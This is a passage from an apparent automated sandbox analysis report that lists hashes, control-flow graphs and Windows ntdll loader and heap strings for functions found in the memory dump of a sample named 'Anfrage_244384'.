                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 890b2006e4f2ef5f82ff9b7dc0372f8579f1d978aa78eac0f83000700449c0fd
                                                          • Instruction ID: 6d900c2dc2bf46ab4aa757c9ef217c06d127d8588e92ed10a10e82abd1fd543c
                                                          • Opcode Fuzzy Hash: 890b2006e4f2ef5f82ff9b7dc0372f8579f1d978aa78eac0f83000700449c0fd
                                                          • Instruction Fuzzy Hash: 7E90023120140802D1147999480469600058BD0306F55D012A6025615F9666CD957131
                                                          Function 346B2C00 Relevance: .0, Instructions: 2COMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
                                                          • Instruction ID: 1d47ebabec2134605d8994eb9da03562b87663d08b756b09d9aada1dfba88c44
                                                          • Opcode Fuzzy Hash: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
                                                          • Instruction Fuzzy Hash:
                                                          Function 346B2890 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 190COMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 1125 346b2890-346b28b3 1126 346ea4bc-346ea4c0 1125->1126 1127 346b28b9-346b28cc 1125->1127 1126->1127 1128 346ea4c6-346ea4ca 1126->1128 1129 346b28ce-346b28d7 1127->1129 1130 346b28dd-346b28df 1127->1130 1128->1127 1131 346ea4d0-346ea4d4 1128->1131 1129->1130 1133 346ea57e-346ea585 1129->1133 1132 346b28e1-346b28e5 1130->1132 1131->1127 1134 346ea4da-346ea4de 1131->1134 1135 346b28eb-346b28fa 1132->1135 1136 346b2988-346b298e 1132->1136 1133->1130 1134->1127 1137 346ea4e4-346ea4eb 1134->1137 1138 346ea58a-346ea58d 1135->1138 1139 346b2900-346b2905 1135->1139 1140 346b2908-346b290c 1136->1140 1141 346ea4ed-346ea4f4 1137->1141 1142 346ea564-346ea56c 1137->1142 1138->1140 1139->1140 1140->1132 1143 346b290e-346b291b 1140->1143 1147 346ea50b 1141->1147 1148 346ea4f6-346ea4fe 1141->1148 1142->1127 1146 346ea572-346ea576 1142->1146 1144 346b2921 1143->1144 1145 346ea592-346ea599 1143->1145 1149 346b2924-346b2926 1144->1149 1156 346ea5a1-346ea5c9 call 346c0050 1145->1156 1146->1127 1150 346ea57c call 346c0050 1146->1150 1152 346ea510-346ea536 call 346c0050 1147->1152 1148->1127 1151 346ea504-346ea509 1148->1151 1153 346b2928-346b292a 1149->1153 1154 346b2993-346b2995 1149->1154 1169 346ea55d-346ea55f 1150->1169 1151->1152 1152->1169 1160 346b292c-346b292e 1153->1160 1161 346b2946-346b2966 call 346c0050 1153->1161 1154->1153 1158 346b2997-346b29b1 call 346c0050 1154->1158 1174 346b2969-346b2974 1158->1174 1160->1161 1166 346b2930-346b2944 call 346c0050 1160->1166 1161->1174 1166->1161 1170 346b2981-346b2985 1169->1170 1174->1149 1176 346b2976-346b2979 1174->1176 1176->1156 1177 346b297f 1176->1177 1177->1170
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: ___swprintf_l
                                                          • String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
                                                          • API String ID: 48624451-2108815105
                                                          • Opcode ID: 51e5c18d817e04535d3531d7832774a35c94b00442cf111c8b2ad9618b3a94f4
                                                          • Instruction ID: c9595375d08538b881c5996de0be8c86363ff776375ccdad5098479ac97a7eb9
                                                          • Opcode Fuzzy Hash: 51e5c18d817e04535d3531d7832774a35c94b00442cf111c8b2ad9618b3a94f4
                                                          • Instruction Fuzzy Hash: 7D5116B5A00216AFEF10DF9AC99497EF7F8FB482407508169E4EAD3241D634DE448BE0
                                                          Function 34722410 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 189COMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 1178 34722410-34722433 1179 34722439-3472243d 1178->1179 1180 347224ec-347224ff 1178->1180 1179->1180 1181 34722443-34722447 1179->1181 1182 34722513-34722515 1180->1182 1183 34722501-3472250a 1180->1183 1181->1180 1184 3472244d-34722451 1181->1184 1186 34722517-3472251b 1182->1186 1183->1182 1185 3472250c 1183->1185 1184->1180 1187 34722457-3472245b 1184->1187 1185->1182 1188 34722538-3472253e 1186->1188 1189 3472251d-3472252c 1186->1189 1187->1180 1190 34722461-34722468 1187->1190 1193 34722543-34722547 1188->1193 1191 34722540 1189->1191 1192 3472252e-34722536 1189->1192 1194 347224b6-347224be 1190->1194 1195 3472246a-34722471 1190->1195 1191->1193 1192->1193 1193->1186 1196 34722549-34722556 1193->1196 1194->1180 1201 347224c0-347224c4 1194->1201 1197 34722473-3472247b 1195->1197 1198 34722484 1195->1198 1199 34722564 1196->1199 1200 34722558-34722562 1196->1200 1197->1180 1202 3472247d-34722482 1197->1202 1203 34722489-347224ab call 346c0510 1198->1203 1204 34722567-34722569 1199->1204 1200->1204 1201->1180 1205 347224c6-347224ea call 346c0510 1201->1205 1202->1203 1216 347224ae-347224b1 1203->1216 1207 3472256b-3472256d 1204->1207 1208 3472258d-3472258f 1204->1208 1205->1216 1207->1208 1210 3472256f-3472258b call 346c0510 1207->1210 1212 34722591-34722593 1208->1212 1213 347225ae-347225d0 call 346c0510 1208->1213 1223 347225d3-347225df 1210->1223 1212->1213 1217 34722595-347225ab call 346c0510 1212->1217 1213->1223 1222 34722615-34722619 1216->1222 1217->1213 1223->1204 1225 347225e1-347225e4 1223->1225 1226 34722613 1225->1226 1227 347225e6-34722610 call 346c0510 1225->1227 1226->1222 1227->1226
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: ___swprintf_l
                                                          • String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
                                                          • API String ID: 48624451-2108815105
                                                          • Opcode ID: 53cf9cd97378debcc4c5f5983b644b530190df4120b42b2c9938c8051687e2b6
                                                          • Instruction ID: e9ee1eb83e79768a0ef279738cef3e401d72a44179c982e7e7def1e661b3002e
                                                          • Opcode Fuzzy Hash: 53cf9cd97378debcc4c5f5983b644b530190df4120b42b2c9938c8051687e2b6
                                                          • Instruction Fuzzy Hash: C351C575A00A4AAFEB20CE99C99097EB7F9EF44244B40849DE495DB741EA74DE40CBA0
                                                          Function 3474A670 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 285timeCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 1427 3474a670-3474a6e9 call 34682410 * 2 RtlDebugPrintTimes 1433 3474a89f-3474a8c4 call 346825b0 * 2 call 346b4c30 1427->1433 1434 3474a6ef-3474a6fa 1427->1434 1436 3474a724 1434->1436 1437 3474a6fc-3474a709 1434->1437 1441 3474a728-3474a734 1436->1441 1439 3474a70f-3474a715 1437->1439 1440 3474a70b-3474a70d 1437->1440 1443 3474a7f3-3474a7f5 1439->1443 1444 3474a71b-3474a722 1439->1444 1440->1439 1445 3474a741-3474a743 1441->1445 1447 3474a81f-3474a821 1443->1447 1444->1441 1448 3474a745-3474a747 1445->1448 1449 3474a736-3474a73c 1445->1449 1450 3474a755-3474a77d RtlDebugPrintTimes 1447->1450 1451 3474a827-3474a834 1447->1451 1448->1447 1453 3474a74c-3474a750 1449->1453 1454 3474a73e 1449->1454 1450->1433 1467 3474a783-3474a7a0 RtlDebugPrintTimes 1450->1467 1455 3474a836-3474a843 1451->1455 1456 3474a85a-3474a866 1451->1456 1458 3474a86c-3474a86e 1453->1458 1454->1445 1459 3474a845-3474a849 1455->1459 1460 3474a84b-3474a851 1455->1460 1461 3474a87b-3474a87d 1456->1461 1458->1447 1459->1460 1463 3474a857 1460->1463 1464 3474a96b-3474a96d 1460->1464 1465 3474a870-3474a876 1461->1465 1466 3474a87f-3474a881 1461->1466 1463->1456 1468 3474a883-3474a889 1464->1468 1469 3474a8c7-3474a8cb 1465->1469 1470 3474a878 1465->1470 1466->1468 1467->1433 1475 3474a7a6-3474a7cc RtlDebugPrintTimes 1467->1475 1473 3474a8d0-3474a8f4 RtlDebugPrintTimes 1468->1473 1474 3474a88b-3474a89d RtlDebugPrintTimes 1468->1474 1472 3474a99f-3474a9a1 1469->1472 1470->1461 1473->1433 1479 3474a8f6-3474a913 RtlDebugPrintTimes 1473->1479 1474->1433 1475->1433 1480 3474a7d2-3474a7d4 1475->1480 1479->1433 1487 3474a915-3474a944 RtlDebugPrintTimes 1479->1487 1481 3474a7d6-3474a7e3 1480->1481 1482 3474a7f7-3474a80a 1480->1482 1484 3474a7e5-3474a7e9 1481->1484 1485 3474a7eb-3474a7f1 1481->1485 1486 3474a817-3474a819 1482->1486 1484->1485 1485->1443 1485->1482 1488 3474a80c-3474a812 1486->1488 1489 3474a81b-3474a81d 1486->1489 1487->1433 1493 3474a94a-3474a94c 1487->1493 1491 3474a814 1488->1491 1492 3474a868-3474a86a 1488->1492 1489->1447 1491->1486 1492->1458 1494 3474a972-3474a985 1493->1494 1495 3474a94e-3474a95b 1493->1495 1498 3474a992-3474a994 1494->1498 1496 3474a963-3474a969 1495->1496 1497 3474a95d-3474a961 1495->1497 1496->1464 1496->1494 1497->1496 1499 3474a996 1498->1499 1500 3474a987-3474a98d 1498->1500 1499->1466 1501 3474a98f 1500->1501 1502 3474a99b-3474a99d 1500->1502 1501->1498 1502->1472
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID: HEAP:
                                                          • API String ID: 3446177414-2466845122
                                                          • Opcode ID: b9f9492dff2013d65244678c9bfc4eb1843bdca7639a133549e349d7a27a2ebe
                                                          • Instruction ID: 7fc5a6237ba72598fd2591518aa9dbbe0097d85303fd863a7b8381fa51b4c6b9
                                                          • Opcode Fuzzy Hash: b9f9492dff2013d65244678c9bfc4eb1843bdca7639a133549e349d7a27a2ebe
                                                          • Instruction Fuzzy Hash: 39A17BB5B043118FD716CE28C891A2AB7EAFF88360F15496DE945DB351EB30EC46CB91
                                                          Function 346A7630 Relevance: 15.9, APIs: 2, Strings: 7, Instructions: 194COMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 1503 346a7630-346a7651 1504 346a768b-346a7699 call 346b4c30 1503->1504 1505 346a7653-346a766f call 3467e660 1503->1505 1510 346e4638 1505->1510 1511 346a7675-346a7682 1505->1511 1515 346e463f-346e4645 1510->1515 1512 346a769a-346a76a9 call 346a7818 1511->1512 1513 346a7684 1511->1513 1519 346a76ab-346a76c1 call 346a77cd 1512->1519 1520 346a7701-346a770a 1512->1520 1513->1504 1517 346e464b-346e46b8 call 346ff290 call 346b9020 RtlDebugPrintTimes BaseQueryModuleData 1515->1517 1518 346a76c7-346a76d0 call 346a7728 1515->1518 1517->1518 1535 346e46be-346e46c6 1517->1535 1518->1520 1528 346a76d2 1518->1528 1519->1515 1519->1518 1523 346a76d8-346a76e1 1520->1523 1530 346a770c-346a770e 1523->1530 1531 346a76e3-346a76f2 call 346a771b 1523->1531 1528->1523 1532 346a76f4-346a76f6 1530->1532 1531->1532 1537 346a76f8-346a76fa 1532->1537 1538 346a7710-346a7719 1532->1538 1535->1518 1539 346e46cc-346e46d3 1535->1539 1537->1513 1540 346a76fc 1537->1540 1538->1537 1539->1518 1542 346e46d9-346e46e4 1539->1542 1541 346e47be-346e47d0 call 346b2c50 1540->1541 1541->1513 1544 346e46ea-346e4723 call 346ff290 call 346baaa0 1542->1544 1545 346e47b9 call 346b4d48 1542->1545 1552 346e473b-346e476b call 346ff290 1544->1552 1553 346e4725-346e4736 call 346ff290 1544->1553 1545->1541 1552->1518 1558 346e4771-346e477f call 346ba770 1552->1558 1553->1520 1561 346e4786-346e47a3 call 346ff290 call 346ecf9e 1558->1561 1562 346e4781-346e4783 1558->1562 1561->1518 1567 346e47a9-346e47b2 1561->1567 1562->1561 1567->1558 1568 346e47b4 1567->1568 1568->1518
                                                          Strings
                                                          • ExecuteOptions, xrefs: 346E46A0
                                                          • CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 346E4655
                                                          • CLIENT(ntdll): Processing section info %ws..., xrefs: 346E4787
                                                          • CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 346E46FC
                                                          • Execute=1, xrefs: 346E4713
                                                          • CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 346E4725
                                                          • CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 346E4742
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
                                                          • API String ID: 0-484625025
                                                          • Opcode ID: 49e1957318d09a390e0c9e1dce70ed908641428d7f4b0809aa5030c66714d37d
                                                          • Instruction ID: a5166b12f42c4f7fef11b77ad50a99164cc15f71036baa7d407f48c59d046f45
                                                          • Opcode Fuzzy Hash: 49e1957318d09a390e0c9e1dce70ed908641428d7f4b0809aa5030c66714d37d
                                                          • Instruction Fuzzy Hash: D65114B5B00619AFEF10AFA4DC89BEA77B8EF14342F4400E9E504A7190EB31EE458F55
                                                          Function 3468A250 Relevance: 12.7, APIs: 1, Strings: 6, Instructions: 404COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          • SXS: %s() flags contains return_flags but they don't fit in size, return invalid_parameter 0x%08lx., xrefs: 346D79D5
                                                          • RtlpFindActivationContextSection_CheckParameters, xrefs: 346D79D0, 346D79F5
                                                          • RtlFindActivationContextSectionString() found section at %p (length %lu) which is not a string section, xrefs: 346D7AE6
                                                          • SsHd, xrefs: 3468A3E4
                                                          • SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx., xrefs: 346D79FA
                                                          • Actx , xrefs: 346D7A0C, 346D7A73
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: Actx $RtlFindActivationContextSectionString() found section at %p (length %lu) which is not a string section$RtlpFindActivationContextSection_CheckParameters$SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx.$SXS: %s() flags contains return_flags but they don't fit in size, return invalid_parameter 0x%08lx.$SsHd
                                                          • API String ID: 0-1988757188
                                                          • Opcode ID: b5cb9ff602e5e2dbbfa24f0be27af3a4452d917c1293dc4ec5873d919ed7b90a
                                                          • Instruction ID: 8fd3152e0dedc7f8401db95de8cb9fc29442c08bbe631a05cf1feb72bf3da696
                                                          • Opcode Fuzzy Hash: b5cb9ff602e5e2dbbfa24f0be27af3a4452d917c1293dc4ec5873d919ed7b90a
                                                          • Instruction Fuzzy Hash: DEE1BDB57043028FE710CE24CC94B1AB7E5EB95364F544A2DEDA5CB290EB31D985CB83
                                                          Function 346EFD82 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 109timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID: $$Failed to find export %s!%s (Ordinal:%d) in "%wZ" 0x%08lx$LdrpRedirectDelayloadFailure$Unknown$minkernel\ntdll\ldrdload.c
                                                          • API String ID: 3446177414-4227709934
                                                          • Opcode ID: 8ad62fa7dfbc5344dc86daba1896e627d6d8644e7c90dbf9d725d7872f01f4b2
                                                          • Instruction ID: 77becda829cce8e60cec9e8da173a37bfa55b3b29f432f70de3e496a392dc991
                                                          • Opcode Fuzzy Hash: 8ad62fa7dfbc5344dc86daba1896e627d6d8644e7c90dbf9d725d7872f01f4b2
                                                          • Instruction Fuzzy Hash: 36417EB9A02208BBDB05DF95CA80AEEBBF9FF58354F100059E904A7341D731E991CF90
                                                          Function 346665B5 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 184timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          • Loading the shim DLL "%wZ" failed with status 0x%08lx, xrefs: 346C9AB4
                                                          • Initializing the shim DLL "%wZ" failed with status 0x%08lx, xrefs: 346C9AF6
                                                          • minkernel\ntdll\ldrinit.c, xrefs: 346C9AC5, 346C9B06
                                                          • LdrpLoadShimEngine, xrefs: 346C9ABB, 346C9AFC
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID: Initializing the shim DLL "%wZ" failed with status 0x%08lx$LdrpLoadShimEngine$Loading the shim DLL "%wZ" failed with status 0x%08lx$minkernel\ntdll\ldrinit.c
                                                          • API String ID: 3446177414-3589223738
                                                          • Opcode ID: 2e629b9c340e72a23a1eec932c423ab8ff9843a347ebbcc85bda09205e25f778
                                                          • Instruction ID: 28a370498e8eab2ab2ffa5b7d8e437cb97bd009f9fb637a19c1463318d607542
                                                          • Opcode Fuzzy Hash: 2e629b9c340e72a23a1eec932c423ab8ff9843a347ebbcc85bda09205e25f778
                                                          • Instruction Fuzzy Hash: 4151F076700354DFEB14CFA8D898ADDB7A7EB50318F040169E442BB2A5CB789C45CF99
                                                          Function 34699803 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 179timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID: @3v4$LdrpUnloadNode$Unmapping DLL "%wZ"$dfv4@3v4@3v4$minkernel\ntdll\ldrsnap.c
                                                          • API String ID: 3446177414-3359740643
                                                          • Opcode ID: 56823eb9fd9fcabc60bef1ac083edd3461b7c6b4e6f7a29e65d3ac632bafdecb
                                                          • Instruction ID: f546ef3889c954475216a346e48271088a06f50febd7f2a10db06809ba02a1db
                                                          • Opcode Fuzzy Hash: 56823eb9fd9fcabc60bef1ac083edd3461b7c6b4e6f7a29e65d3ac632bafdecb
                                                          • Instruction Fuzzy Hash: A45103B1300301DFF714DF24C984BA9B7EABB94314F040A2DE8959B391DBB4A849CF96
                                                          Function 3469DB00 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 133timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlUnlockHeap
                                                          • API String ID: 3446177414-3224558752
                                                          • Opcode ID: 5cca3921bc59e81882e4007d0d812d5fbf93708286600c5b47667776aa074249
                                                          • Instruction ID: d4c07e4ed9f8a303611a0eb8ae608d62d8adda4f26c11c01024f9968becc0ae5
                                                          • Opcode Fuzzy Hash: 5cca3921bc59e81882e4007d0d812d5fbf93708286600c5b47667776aa074249
                                                          • Instruction Fuzzy Hash: FA4148B5600780DFE705CF24C8A4B9AB7F8EF16764F10857DD4015BB92CBB8A880CB92
                                                          Function 3471F157 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 128timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          • HEAP: , xrefs: 3471F15D
                                                          • ---------------------------------------, xrefs: 3471F279
                                                          • Below is a list of potentially leaked heap entries use !heap -i Entry -h Heap for more information, xrefs: 3471F263
                                                          • Entry Heap Size , xrefs: 3471F26D
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID: ---------------------------------------$Below is a list of potentially leaked heap entries use !heap -i Entry -h Heap for more information$Entry Heap Size $HEAP:
                                                          • API String ID: 3446177414-1102453626
                                                          • Opcode ID: 89672f80b079c8cf8d3881bc1fb23601df63dcd109d2ec4de41a040800a2d6eb
                                                          • Instruction ID: 6c9a9a915d5dcaf449b8f9378b6e271fc74de8429185d9af2c763d817504d2e4
                                                          • Opcode Fuzzy Hash: 89672f80b079c8cf8d3881bc1fb23601df63dcd109d2ec4de41a040800a2d6eb
                                                          • Instruction Fuzzy Hash: BD417979A00215DFD704CF19C884999BBEAFB4A3587258169D409AF312DB35EC03CB98
                                                          Function 3469DBA0 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 84timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlLockHeap
                                                          • API String ID: 3446177414-1222099010
                                                          • Opcode ID: 35f7e610372c4cb960243c28175bcf09788857b8086e5fde9b12bbaeef444f62
                                                          • Instruction ID: 83269bb8b44dcaa199a96b69b121cb1ee0ea920d651160095c983226aaff9755
                                                          • Opcode Fuzzy Hash: 35f7e610372c4cb960243c28175bcf09788857b8086e5fde9b12bbaeef444f62
                                                          • Instruction Fuzzy Hash: F031F7B5204784DFF716CF24C818BD67BECEF02764F0041A9E44257B52CBF8A880CA56
                                                          Function 34746940 Relevance: 9.4, APIs: 6, Instructions: 416COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 2a48bdd4d8ea14c469ad441b94cf96c101b09c67394ceba66eb56f2a3b9e53c1
                                                          • Instruction ID: 48cfee8000863314643675897c8710c1d98c7662ea9578c270dec64ae02bb439
